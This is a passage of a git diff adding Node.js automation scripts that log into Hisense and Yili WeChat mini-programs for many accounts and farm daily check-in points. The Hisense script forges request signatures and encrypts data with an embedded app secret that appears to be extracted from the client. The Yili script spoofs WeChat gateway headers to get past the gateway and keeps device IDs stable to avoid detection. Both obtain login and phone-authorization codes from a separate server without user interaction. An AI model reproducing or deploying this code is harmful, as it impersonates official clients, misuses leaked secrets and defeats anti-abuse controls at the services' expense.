lotteryTaskBrowser(link) { + await this.request(`/lucky/task/browse/page/start/jfcj${this.activity_code}`, { + params: { pageUrl: link }, + }).catch(() => {}); + await $.wait(20 * 1000); + await this.request(`/lucky/task/browse/page/end/jfcj${this.activity_code}`, { + params: { pageUrl: link }, + }).catch(() => {}); + } + + async getLotteryNum() { + try { + const result = await this.request("/lucky/activity/opporturnity", { + params: { activityCode: `jfcj${this.activity_code}` }, + }); + if (result?.can_use > 0) { + $.log(`当前剩余抽奖次数:${result.can_use}`); + for (let can = 0; can < result.can_use; can++) { + // 活动已结束时不再空转 + if (!(await this.doLottery())) break; + } + } else { + $.log("当前剩余抽奖次数0"); + } + } catch (e) { + const message = String(e.message || e); + if (isActivityClosed(message)) { + $.log("抽奖活动未开始或已结束,跳过"); + return; + } + $.log(`查询抽奖次数失败:${message}`); + } + } +} + +!(async () => { + await getNotice(); + $.checkEnv(ckName); + for (const user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + const { data: res } = await axios.request({ + url: "https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json", + headers: { "User-Agent": defaultUserAgent }, + timeout: 3000, + }); + $.log(res); + return res; + } catch (e) {} +} diff --git a/wxapp/hisense_aijia.js b/wxapp/hisense_aijia.js new file mode 100644 index 00000000..eb0be34e --- /dev/null +++ b/wxapp/hisense_aijia.js @@ -0,0 +1,667 @@ +/* +海信爱家 - 签到/查询 +cron: 30 8 * * * + +变量名:hisense_aijia +变量值: + 1. wx_server 中保存的 openid,多账号用 & 或换行分隔 + 2. customerId#accessToken + 3. openid#customerId#accessToken + 4. JSON:{"openid":"...","customerId":"...","accessToken":"...","refreshToken":"...","loginKey":"..."} + +依赖变量:wx_server_url、wx_auth +可选变量:hisense_aijia_customerId、hisense_aijia_token、hisense_aijia_refreshToken、hisense_aijia_loginKey、hisense_aijia_sign_task_id +说明:openid 首次自动登录会通过 wx_server 的 /wx/getphonenumber 获取手机号授权 code。 +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("海信爱家"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "hisense_aijia"; +const MINI_APP_ID = "wxf488d623a17cd7b5"; +const PACKAGE_VERSION = "115"; +const MINI_ID = "105"; +const APP_PACKAGE = "com.hisense.miniapp-aiot"; +const FEATURE_CODE = "86100300000100100000fffe"; +const APP_VERSION = "m_p.16.000"; +const DEFAULT_VALUE = "-1"; +const DEFAULT_LICENSE = "-1"; +const SOURCE_TYPE = 21; +const SIGN_APP_KEY = "commonweb"; +const SIGN_APP_SECRET = "MORZRbkuiWxjp+SM4vR_GxY4pZxLZ6rn"; +const POINT_BASE = "https://mobile-aiot.hismarttv.com"; +const WXTV_BASE = "https://public-wxtv.hismarttv.com"; +const MINI_MOBI_BASE = "https://mini-mobi.hismarttv.com"; +const ACCOUNT_BASE = "https://portal-account.hismarttv.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "hisense_aijia_token_cache.json"); + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "your-api-key", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`token缓存写入失败: ${e.message || e}`); + } +} + +function md5(text) { + return crypto.createHash("md5").update(String(text)).digest("hex"); +} + +function mask(value = "") { + value = String(value || ""); + if (!value) return ""; + if (value.length <= 12) return `${value.slice(0, 3)}***`; + return `${value.slice(0, 6)}***${value.slice(-6)}`; +} + +function short(value, limit = 500) { + const text = typeof value === "string" ? value : JSON.stringify(value); + return text && text.length > limit ? `${text.slice(0, limit)}...` : text; +} + +function randHex(len = 4) { + return Math.floor(Math.random() * Math.pow(16, len)).toString(16); +} + +function getSignSecret(appKey = SIGN_APP_KEY) { + if (appKey !== SIGN_APP_KEY) throw new Error(`appSecret not found: ${appKey}`); + return SIGN_APP_SECRET; +} + +function signString(data, postAndJSON = false, appKey = SIGN_APP_KEY) { + const secret = getSignSecret(appKey); + let text = ""; + if (postAndJSON) { + text = typeof data === "string" ? data : JSON.stringify(data || {}); + } else if (typeof data === "string") { + text = data; + } else { + text = Object.keys(data || {}) + .map((key) => { + let value = data[key]; + if (value === "" || value === null || value === undefined) return ""; + if (typeof value === "object") value = JSON.stringify(value); + return `${key}=${value}`; + }) + .filter(Boolean) + .sort() + .join("&"); + } + return crypto.createHash("md5").update(`${text}${secret}`).digest("base64"); +} + +function uuid() { + if (crypto.randomUUID) return crypto.randomUUID(); + return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, (c) => { + const r = (Math.random() * 16) | 0; + const v = c === "x" ? r : (r & 0x3) | 0x8; + return v.toString(16); + }); +} + +function generateDeviceId() { + const identifier = (`0${MINI_ID}0${Date.now().toString(16)}${randHex(8)}${randHex(8)}`).slice(0, 32); + return `${FEATURE_CODE}${identifier}`; +} + +function pureGuid() { + return uuid().replace(/-/g, ""); +} + +function buildSign(data, postAndJSON) { + return signString(data || {}, postAndJSON, SIGN_APP_KEY); +} + +function encryptByAppKey(value) { + if (!value) return ""; + const secret = getSignSecret(SIGN_APP_KEY); + const cipher = crypto.createCipheriv("aes-256-cbc", Buffer.from(secret, "utf8"), Buffer.from(secret.slice(0, 16), "utf8")); + return Buffer.concat([cipher.update(String(value), "utf8"), cipher.final()]).toString("base64"); +} + +function decryptByAppKey(value) { + if (!value) return ""; + try { + const secret = getSignSecret(SIGN_APP_KEY); + const decipher = crypto.createDecipheriv("aes-256-cbc", Buffer.from(secret, "utf8"), Buffer.from(secret.slice(0, 16), "utf8")); + return Buffer.concat([decipher.update(String(value), "base64"), decipher.final()]).toString("utf8"); + } catch { + return value; + } +} + +function cleanPayload(data = {}) { + return Object.entries(data).reduce((obj, [key, val]) => { + if (val === undefined || val === null || Number.isNaN(val)) return obj; + obj[key] = val; + return obj; + }, {}); +} + +function parseAccount(raw) { + const text = String(raw || "").trim(); + if (!text) return {}; + + if (text.startsWith("{")) { + try { + const data = JSON.parse(text); + return { + openid: data.openid || data.openId || data.account || "", + customerId: data.customerId || data.userId || "", + accessToken: data.accessToken || data.token || "", + refreshToken: data.refreshToken || "", + loginKey: data.loginKey || "", + phone: data.phone || data.mobilePhone || "", + phoneCode: data.phoneCode || "", + encryptedData: data.encryptedData || "", + iv: data.iv || "", + loginCode: data.loginCode || data.code || "", + }; + } catch {} + } + + if (text.includes("#") || text.includes("|")) { + const sep = text.includes("#") ? "#" : "|"; + const parts = text.split(sep).map((v) => v.trim()).filter(Boolean); + if (parts.length >= 3) return { openid: parts[0], customerId: parts[1], accessToken: parts.slice(2).join(sep) }; + if (parts.length === 2) { + if (parts[0].startsWith("o")) return { openid: parts[0], accessToken: parts[1] }; + return { customerId: parts[0], accessToken: parts[1] }; + } + } + + if (text.startsWith("o")) return { openid: text }; + return { accessToken: text }; +} + +function isTokenError(data) { + const text = short(data, 1000) || ""; + const code = data?.resultCode ?? data?.code; + return /token|登录|未登录|失效|access/i.test(text) || ["A00001", "B0101", "B0102", "401", 401].includes(code); +} + +function requestHeaders(contentType = "application/json") { + return { + Accept: "*/*", + "content-type": contentType, + "User-Agent": "Mozilla/5.0 MicroMessenger MiniProgramEnv/Windows", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PACKAGE_VERSION}/page-frame.html`, + }; +} + +function addSearch(url, params = {}) { + const u = new URL(url); + Object.entries(params).forEach(([key, val]) => { + if (val !== undefined && val !== null && val !== "") u.searchParams.set(key, String(val)); + }); + return u.toString(); +} + +async function request(method, base, urlPath, data = {}, options = {}) { + const url = urlPath.startsWith("http") ? urlPath : `${base}${urlPath}`; + const postAndJSON = method.toUpperCase() === "POST" && (options.contentType || "application/json").includes("json"); + const payload = cleanPayload({ _t: Date.now(), ...(data || {}) }); + const headers = requestHeaders(options.contentType || "application/json"); + + if (options.signType === "WEB_CN_GW") { + headers["X-Sign-For"] = buildSign(payload, postAndJSON); + headers.appKey = SIGN_APP_KEY; + } else if (options.signType === "WEB_CN") { + payload.sign = buildSign(payload, postAndJSON); + payload.appKey = SIGN_APP_KEY; + } + + const config = { + method, + url, + timeout: options.timeout || 30000, + validateStatus: () => true, + headers, + }; + if (method.toUpperCase() === "GET") config.params = payload; + else config.data = payload; + + const res = await axios(config); + return { status: res.status, data: res.data, text: typeof res.data === "string" ? res.data : JSON.stringify(res.data) }; +} + +function extractSceneParam(res, sceneCode) { + const pageParams = res?.pageParams || res?.data?.pageParams || []; + if (Array.isArray(pageParams)) { + const item = pageParams.find((v) => v.sceneCode === sceneCode) || pageParams[0] || {}; + return normalizeMaybeJson(item); + } + return normalizeMaybeJson(res?.[sceneCode] || res?.data || res || {}); +} + +function normalizeMaybeJson(value) { + if (typeof value === "string") { + try { + return JSON.parse(value); + } catch { + return value; + } + } + if (!value || typeof value !== "object") return value; + const out = Array.isArray(value) ? [] : {}; + for (const [key, val] of Object.entries(value)) out[key] = normalizeMaybeJson(val); + return out; +} + +function findTaskId(value) { + if (!value || typeof value !== "object") return ""; + if (value.mpSignInfo?.taskId) return value.mpSignInfo.taskId; + if (value.taskId && /sign|签到/i.test(JSON.stringify(value).slice(0, 300))) return value.taskId; + for (const val of Object.values(value)) { + const found = findTaskId(val); + if (found) return found; + } + return ""; +} + +function formatSignStatus(status = {}) { + const today = status.signedToday ? "已签" : "未签"; + const days = status.keepSigningDays ?? 0; + const rewards = Array.isArray(status.rewardSignTaskList) ? status.rewardSignTaskList : []; + const next = rewards[Math.max(0, Number(days) || 0)] || rewards[0] || {}; + const point = Number(next.rewardType) === 130 ? next.rewardNum : ""; + return `今日${today},连续${days}天${point !== "" ? `,下次奖励${point}积分` : ""}`; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + const account = parseAccount(raw); + this.openid = account.openid || ""; + this.customerId = account.customerId || process.env.hisense_aijia_customerId || ""; + this.accessToken = account.accessToken || process.env.hisense_aijia_token || ""; + this.refreshToken = account.refreshToken || process.env.hisense_aijia_refreshToken || ""; + this.loginKey = account.loginKey || process.env.hisense_aijia_loginKey || ""; + this.phone = account.phone || ""; + this.phoneCode = account.phoneCode || ""; + this.encryptedData = account.encryptedData || ""; + this.iv = account.iv || ""; + this.loginCode = account.loginCode || ""; + this.deviceId = generateDeviceId(); + this.cacheKey = this.openid || this.customerId || (this.accessToken ? md5(this.accessToken).slice(0, 16) : `account_${this.index}`); + } + + getCached() { + return readCache()[this.cacheKey] || {}; + } + + saveCache(extra = {}) { + const cache = readCache(); + cache[this.cacheKey] = { + ...(cache[this.cacheKey] || {}), + ...(this.openid ? { openid: this.openid } : {}), + ...(this.customerId ? { customerId: this.customerId } : {}), + ...(this.accessToken ? { accessToken: this.accessToken } : {}), + ...(this.refreshToken ? { refreshToken: this.refreshToken } : {}), + ...(this.loginKey ? { loginKey: this.loginKey } : {}), + ...(this.phone ? { phone: this.phone } : {}), + ...extra, + updatedAt: new Date().toISOString(), + }; + writeCache(cache); + } + + removeToken() { + const cache = readCache(); + if (cache[this.cacheKey]) { + delete cache[this.cacheKey].accessToken; + writeCache(cache); + } + } + + loadCache() { + const cached = this.getCached(); + this.openid = this.openid || cached.openid || ""; + this.customerId = this.customerId || cached.customerId || ""; + this.accessToken = this.accessToken || cached.accessToken || ""; + this.refreshToken = this.refreshToken || cached.refreshToken || ""; + this.loginKey = this.loginKey || cached.loginKey || ""; + this.phone = this.phone || cached.phone || ""; + } + + async getWxCode() { + if (!this.openid) throw new Error("缺少 openid,无法从 wx_server 获取 code"); + const { data } = await wechat.getCode(this.openid); + if (!data?.status) throw new Error(data?.message || "wx_server 获取 code 失败"); + const code = data.data?.code || data.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async getPhoneNumberData() { + if (!this.openid) throw new Error("缺少 openid,无法从 wx_server 获取手机号授权 code"); + const { data } = await axios.post( + `${wechat.serverUrl}/wx/getphonenumber`, + { appid: MINI_APP_ID, openid: this.openid }, + { headers: { auth: wechat.auth }, timeout: 60000, validateStatus: () => true } + ); + if (!data?.status) throw new Error(data?.message || "wx_server 获取手机号授权 code 失败"); + const phoneCode = data.data?.code || data.code || ""; + if (!phoneCode) throw new Error(`wx_server 未返回手机号 code: ${short(data, 500)}`); + const raw = data.data?.raw || {}; + const rawData = normalizeMaybeJson(raw.data || {}); + if (rawData?.mobile) this.phone = this.phone || rawData.mobile; + return { phoneCode, raw }; + } + + async refreshAccessToken() { + if (!this.accessToken || !this.refreshToken) return false; + const res = await request("POST", MINI_MOBI_BASE, "/MobileMiniAppAPI/1.2/adapter/refreshToken", { + token: this.accessToken, + refreshToken: this.refreshToken, + }); + const data = res.data?.data || {}; + if (res.status === 200 && Number(res.data?.resultCode) === 0 && Number(data.resultCode) === 0 && data.token) { + this.accessToken = data.token; + this.refreshToken = data.refreshToken || this.refreshToken; + this.customerId = data.customerId || this.customerId; + this.saveCache({ loginType: "refreshToken" }); + $.log(`账号[${this.index}] refreshToken 刷新成功: ${mask(this.customerId || this.accessToken)}`); + return true; + } + $.log(`账号[${this.index}] refreshToken 刷新失败: ${short(res.data, 300)}`); + return false; + } + + async loginByLoginKey() { + if (!this.loginKey) return false; + const res = await request("POST", ACCOUNT_BASE, "/mobile/s/quickLogin", { + serverCode: 9006, + requestSource: 2, + qrCodeFlag: 0, + accCategory: "newminihxaj", + termType: "1", + loginKey: this.loginKey, + sid: `sid-${Date.now()}-${randHex()}`, + }, { signType: "WEB_CN_GW" }); + const data = res.data?.data || {}; + const tokenInfo = data.tokenInfo || {}; + if (res.status === 200 && Number(data.resultCode) === 0 && tokenInfo.token) { + this.customerId = tokenInfo.customerId || this.customerId; + this.accessToken = tokenInfo.token; + this.refreshToken = tokenInfo.refreshToken || this.refreshToken; + this.saveCache({ loginType: "loginKey" }); + $.log(`账号[${this.index}] loginKey 登录成功: ${mask(this.customerId || this.accessToken)}`); + return true; + } + $.log(`账号[${this.index}] loginKey 登录失败: ${short(res.data, 300)}`); + return false; + } + + async fetchLoginKey() { + if (!this.accessToken || this.loginKey) return; + const res = await request("GET", ACCOUNT_BASE, "/mobile/st/getLoginKey", { + accessToken: this.accessToken, + keyType: 1, + }, { signType: "WEB_CN_GW" }); + const data = res.data?.data || {}; + if (res.status === 200 && Number(data.resultCode) === 0 && data.loginKey) { + this.loginKey = data.loginKey; + this.saveCache({ loginKey: this.loginKey }); + $.log(`账号[${this.index}] loginKey 已缓存`); + } else { + $.log(`账号[${this.index}] loginKey 获取失败: ${short(res.data, 300)}`); + } + } + + async loginByPhoneAuth() { + let op = {}; + if (this.phoneCode || (this.encryptedData && this.iv)) { + op = { + phoneCode: this.phoneCode, + encryptedData: this.encryptedData, + iv: this.iv, + code: this.loginCode, + }; + } else if (this.openid) { + op = await this.getPhoneNumberData(); + } else { + return false; + } + const phoneCode = op.phoneCode || this.phoneCode || ""; + const loginCode = this.loginCode || (phoneCode ? "" : op.code || (this.openid ? await this.getWxCode() : "")); + const loginPayload = { + deviceId: this.deviceId, + ...(phoneCode + ? { phoneCode } + : { + iv: op.iv, + loginCode, + encryptedData: op.encryptedData, + }), + miniId: MINI_ID, + sid: uuid(), + }; + const res = await request("POST", WXTV_BASE, "/weixintv/oauth/login4MiniAPPByPhone", loginPayload, { signType: "WEB_CN" }); + const data = res.data || {}; + if (res.status === 200 && Number(data.resultCode) === 0 && data.token) { + this.customerId = data.customerId || this.customerId; + this.accessToken = data.token; + this.refreshToken = data.refreshToken || this.refreshToken; + this.saveCache({ loginType: "phoneAuth" }); + $.log(`账号[${this.index}] 手机授权登录成功: ${mask(this.customerId || this.accessToken)}`); + return true; + } + const msg = data?.data?.errorDesc || data?.errorDesc || data?.message || short(data, 300); + $.log(`账号[${this.index}] 手机授权登录失败: ${msg}`); + return false; + } + + async ensureLogin() { + this.loadCache(); + if (this.accessToken && this.customerId) { + this.saveCache({ loginType: "direct" }); + return; + } + if (this.accessToken && !this.customerId) { + $.log(`账号[${this.index}] 已有 token 但缺少 customerId,请使用 customerId#accessToken 或 JSON 配置`); + } + if (await this.refreshAccessToken()) return; + if (await this.loginByLoginKey()) return; + if (await this.loginByPhoneAuth()) return; + throw new Error("未获取到海信业务 customerId/accessToken;首次账号需要手机号授权,请配置 customerId#accessToken 或 JSON"); + } + + commonPointParams() { + const mobile = this.phone ? encryptByAppKey(this.phone) : ""; + return { + customerId: String(this.customerId), + mobile, + accessToken: this.accessToken, + appType: MINI_ID, + }; + } + + commonSignParams() { + const mobile = this.phone ? encryptByAppKey(this.phone) : ""; + return { + deviceId: this.deviceId, + appPackageName: APP_PACKAGE, + appVersionName: DEFAULT_VALUE, + appVersionCode: DEFAULT_VALUE, + license: DEFAULT_LICENSE, + appVersion: APP_VERSION, + deviceExt: "Windows", + userType: "1", + customerId: String(this.customerId), + mobile, + accessToken: this.accessToken, + userId: String(this.customerId), + }; + } + + async pointScore(pathname, data = {}) { + const res = await request("POST", POINT_BASE, pathname, { ...this.commonPointParams(), ...data }, { signType: "WEB_CN_GW" }); + if (res.status !== 200 || isTokenError(res.data)) throw new Error(`${pathname}失败: ${short(res.data, 500)}`); + return res.data; + } + + async pointSign(pathname, data = {}, query = {}) { + const url = Object.keys(query).length ? addSearch(`${POINT_BASE}${pathname}`, query) : `${POINT_BASE}${pathname}`; + const res = await request("POST", "", url, { ...this.commonSignParams(), ...data }, { signType: "WEB_CN_GW" }); + if (res.status !== 200 || isTokenError(res.data)) throw new Error(`${pathname}失败: ${short(res.data, 500)}`); + return res.data; + } + + async queryProfile() { + const res = await request("GET", "", `${POINT_BASE}/MobileMiniAppAPI/s/6.3/account/getCustomerProfile`, { + accessToken: this.accessToken, + timeStamp: Math.floor(Date.now() / 1000), + customerId: this.customerId, + randStr: pureGuid(), + }, { signType: "WEB_CN_GW" }); + if (res.status === 200 && Number(res.data?.resultCode) === 0) { + const data = res.data.data || {}; + this.phone = decryptByAppKey(data.mobilePhone || "") || this.phone; + this.saveCache({ phone: this.phone }); + $.log(`账号[${this.index}] 用户: ${mask(data.mobilePhone || this.customerId)}${data.nickName ? `,${data.nickName}` : ""}`); + } else { + $.log(`账号[${this.index}] 用户信息查询失败: ${short(res.data, 300)}`); + } + } + + async queryPoints() { + const res = await this.pointScore("/AIoTPointsMall/gw/svc/HiScore/1.0/userPoints", {}); + if (Number(res.resultCode) !== 0) throw new Error(`积分查询失败: ${short(res, 500)}`); + const data = res.data || {}; + $.log(`账号[${this.index}] 总积分: ${data.totalScore ?? 0}`); + return data; + } + + async queryTodayRecords() { + const start = new Date(); + start.setHours(0, 0, 0, 0); + const end = new Date(); + end.setHours(23, 59, 59, 999); + const res = await this.pointScore("/AIoTPointsMall/gw/svc/HiScore/1.0/userPointRecords", { + pageNo: "1", + pageSize: "100", + startTime: start.getTime(), + endTime: end.getTime(), + }); + if (Number(res.resultCode) !== 0 && res.data?.resultCode !== "B0306") throw new Error(`今日积分记录查询失败: ${short(res, 500)}`); + const list = Array.isArray(res.data?.entities) ? res.data.entities : []; + const income = list.filter((item) => Number(item.type) === 1).reduce((sum, item) => sum + Number(item.score || 0), 0); + $.log(`账号[${this.index}] 今日获得积分: ${income}`); + if (list.length) $.log(`账号[${this.index}] 今日记录: ${list.slice(0, 5).map((v) => `${v.scoreName || v.name || "积分"}+${v.score || 0}`).join(";")}`); + return list; + } + + async getSceneParam(sceneCode) { + const res = await request("GET", WXTV_BASE, "/vodapptv/5.10/sceneParams/data/get", { + accessToken: this.accessToken, + type: 2, + sceneCode, + }, { signType: "NONE" }); + if (res.status !== 200 || Number(res.data?.resultCode) !== 0) throw new Error(`编排查询失败: ${short(res.data, 500)}`); + return extractSceneParam(res.data, sceneCode); + } + + async getSignTaskId() { + if (process.env.hisense_aijia_sign_task_id) return process.env.hisense_aijia_sign_task_id; + const scene = await this.getSceneParam("STATIC_AILIFE_SIGN_INFO"); + const taskId = findTaskId(scene); + if (!taskId) throw new Error(`未解析到签到 taskId: ${short(scene, 500)}`); + $.log(`账号[${this.index}] 签到任务ID: ${taskId}`); + return taskId; + } + + async querySignStatus(taskId) { + const res = await this.pointSign("/AIoTPointsMall/gw/svc/HiVip/1.0/getCheckInStatus", { + taskId, + sourceType: SOURCE_TYPE, + }); + if (String(res.code ?? "1") !== "0") throw new Error(`签到状态查询失败: ${short(res, 500)}`); + const status = res.checkInStatus || {}; + $.log(`账号[${this.index}] 签到状态: ${formatSignStatus(status)}`); + return status; + } + + async signIn(taskId, status = {}) { + if (status.signedToday) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + const rewards = Array.isArray(status.rewardSignTaskList) ? status.rewardSignTaskList : []; + const days = Number(status.keepSigningDays || 0); + const reward = rewards[Math.max(0, days)] || rewards[0] || {}; + if (reward.rewardType !== undefined && Number(reward.rewardType) !== 130) { + $.log(`账号[${this.index}] 当前奖励类型异常,跳过签到`); + return; + } + const now = Date.now(); + const res = await this.pointSign( + "/AIoTPointsMall/gw/svc/HiVip/1.0/checkIn", + { + returnCheckInStatus: false, + requestId: `ailife_sign-${now}-${randHex()}`, + taskId, + reportToGroup: 1, + requestTime: String(now), + }, + { customerId: this.customerId } + ); + if (String(res.code ?? "1") === "0") { + $.log(`账号[${this.index}] 签到成功${reward.rewardNum ? `,预计获得${reward.rewardNum}积分` : ""}`); + } else { + const msg = res.message || res.msg || short(res, 300); + if (/已签|重复|today/i.test(msg)) $.log(`账号[${this.index}] 今日已签到: ${msg}`); + else $.log(`账号[${this.index}] 签到失败: ${msg}`); + } + } + + async run() { + try { + await this.ensureLogin(); + $.log(`账号[${this.index}] 登录态: customerId=${mask(this.customerId)} token=${mask(this.accessToken)}`); + await this.queryProfile(); + await this.queryPoints(); + await this.queryTodayRecords(); + const taskId = await this.getSignTaskId(); + const status = await this.querySignStatus(taskId); + await this.signIn(taskId, status); + await this.queryPoints(); + } catch (e) { + $.log(`账号[${this.index}] 运行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未配置变量 ${ckName}`); + await $.done(); + return; + } + for (const raw of $.userList) { + const task = new Task(raw); + await task.run(); + } + await $.done(); +})(); diff --git a/wxapp/hlyili.js b/wxapp/hlyili.js new file mode 100644 index 00000000..2ebb5651 --- /dev/null +++ b/wxapp/hlyili.js @@ -0,0 +1,265 @@ +/* +------------------------------------------ +@Description: 活力伊利 - 微信小程序静默登录 + 每日签到 +cron: 48 8 * * * +------------------------------------------ +变量名:hlyili +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx06af0ef532292cd3,host msmarket.msx.digitalyili.com/gateway/api): + 这套后端在微信云网关后面,除了业务头还要一组 x-wx-* 网关模拟头,缺了会被网关挡: + X-WX-HTTP-MODE=REROUTE / X-WX-CONF-VERSION=0 / x-wx-call-id=<毫秒-随机> + x-wx-route-tag=a1d5c552d-wx06af0ef532292cd3.sh.wxgateway.com / x-wx-source=wx_client + x-wx-appid= / x-envoy-expected-rq-timeout-ms=15000 + 业务头:access-token / tenant-id=1559474730809618433 / scene=1008 / + atv-page / forward-appid / register-source / source-type(都传空串) + Referer 要用 .../release/page-frame.html 这种形式 + 登录 POST /auth/account/login {jsCode:} -> status===true, data.accessToken + 积分 GET /member/point -> data 直接是数字 + 签到 POST /member/daily/sign?isUseNewLogic=1 (状态查询是 GET /member/sign/status) + 成功判定是 status===true(不是 code),错误在 error +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("活力伊利"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "hlyili"; +const MINI_APP_ID = "wx06af0ef532292cd3"; +const BASE = "https://msmarket.msx.digitalyili.com/gateway/api"; +const TENANT_ID = "1559474730809618433"; +const GATEWAY_DOMAIN = "a1d5c552d-wx06af0ef532292cd3.sh.wxgateway.com"; + +const TOKEN_CACHE_FILE = path.join(__dirname, "hlyili_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/auth/account/login"; +const EP_SIGN = "/member/daily/sign"; +const EP_USER = "/member/point"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +/** 该后端的成功判定 */ +const isOk = (res) => res?.status === true; +const msgOf = (res) => res?.error || res?.message || res?.msg || short(res); +/** 每天跑一次,「已签到」必须当成成功而不是失败 */ +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|未登录|失效|过期|重新|401/i.test(String(t || "")); +/** 账号态:这个微信号还没在该平台注册/绑定 —— 不是脚本缺陷,别打 ❌ */ +const isNotRegistered = (t) => /未注册|未绑定|请先注册|请先绑定|not regist/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.signedToday = false; + // 设备号按 openid 稳定派生:同一账号每次跑都一样,避免被当成新设备 + this.deviceId = "d_" + require("crypto").createHash("md5") + .update(String(this.account.openid || raw)).digest("hex").slice(0, 16); + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = null, withAuth = true, method = "POST", query = null, epHeaders = null) { + const isForm = false; + const headers = { + "Content-Type": isForm ? "application/x-www-form-urlencoded" : "application/json", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + Accept: "application/json, text/plain, */*", + xweb_xhr: "1", + "Origin": "https://servicewechat.com", + "Referer": `https://servicewechat.com/${MINI_APP_ID}/release/page-frame.html`, + "tenant-id": TENANT_ID, + "scene": "1008", + "atv-page": "", + "forward-appid": "", + "register-source": "", + "source-type": "", + "X-WX-HTTP-MODE": "REROUTE", + "X-WX-CONF-VERSION": "0", + "x-wx-call-id": `${Date.now()}-${Math.random().toString(36).slice(2, 10)}`, + "x-wx-route-tag": GATEWAY_DOMAIN, + "x-wx-source": "wx_client", + "x-wx-appid": MINI_APP_ID, + "x-envoy-expected-rq-timeout-ms": "15000", + ...(epHeaders || {}), + }; + if (withAuth && this.token) headers["access-token"] = this.token; + const payload = body || {}; + + const isGet = String(method).toUpperCase() === "GET"; + // query 独立于 body:有些接口是 POST 但参数只在查询串上 + const qs = query ? form(query) : (isGet && Object.keys(payload).length ? form(payload) : ""); + const res = await axios.request({ + method: isGet ? "GET" : "POST", + url: `${BASE}${apiPath}${qs ? `?${qs}` : ""}`, + data: isGet ? undefined : (isForm ? form(payload) : payload), + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status < 200 || res.status >= 300) { + // 业务结论常常躺在 4xx/5xx 的 JSON 体里("今日已签到" 见过 400 也见过 500), + // 有 JSON 体就交给下游按业务码判,别在这一层抛掉 + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** + * wcs.getCode 在 status:false 时也会 resolve,必须自己判失败, + * 否则 wx_server 的取码限流会被误报成目标站登录失败。 + */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { jsCode: code }, false, "POST", null, null); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + this.token = (res.data || {}).accessToken || ""; + + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if (await this.queryUser(false)) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = 